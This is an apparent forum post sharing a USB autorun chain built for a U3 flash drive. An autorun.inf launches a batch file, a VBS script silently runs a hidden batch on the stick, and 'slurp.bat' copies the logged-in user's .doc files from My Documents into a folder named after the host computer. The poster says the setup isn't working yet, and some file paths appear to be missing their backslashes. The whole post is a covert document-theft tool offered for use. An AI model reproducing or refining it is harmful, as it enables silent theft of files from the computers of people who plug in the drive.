Yeah, I'll tell you how I'm doing it and not having much luck.
I'm trying to make it autorun from the U3 and it's just not working.
CD Partition-
autorun.inf, which starts autorun.bat, which starts a VBS script that was created by someone on here.
[autorun]
open=autorun.bat
name=autorun
@ECHO off
start .Autorun.vbs
exit
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objShell = CreateObject("Wscript.Shell")
Set colDrives = objFSO.Drives
Set objEnv = objShell.Environment("PROCESS")
objEnv("Year") = Year(now())
objEnv("Month") = Right("0" & Month(now()), 2)
objEnv("Day") = Right("0" & Day(now()), 2)
objEnv("Hour") = Right("0" & Hour(now()), 2)
objEnv("Minute") = Right("0" & Minute(now()), 2)
objEnv("Second") = Right("0" & Second(now()), 2)
For Each objDrive in colDrives
If objFSO.FileExists(objDrive.DriveLetter & ":SystemSRCdrv.dat") Then
strPath = objDrive.Driveletter & ":"
If objFSO.FileExists(strPath & "SystemSRCPL.dat") Then
objShell.Run ".SystemSRCgo.bat " & strPath , 0, False
End If
End If
Next
On the flash partition, in SYSTEM/SRC/, there exists PL.dat, slurp.bat & start.bat.
This file is empty and just serves as a flag.
@echo off
@start /min slurp.bat /B
@exit
@echo off
mkdir %~d0%computername%
xcopy "C:Documents and Settings%username%My Documents*.doc" %~d0%computername% /s/c/q/r/h
@cls
@exit
Hopefully, those examples can be of some benefit to you, although in their current state they are not working for me.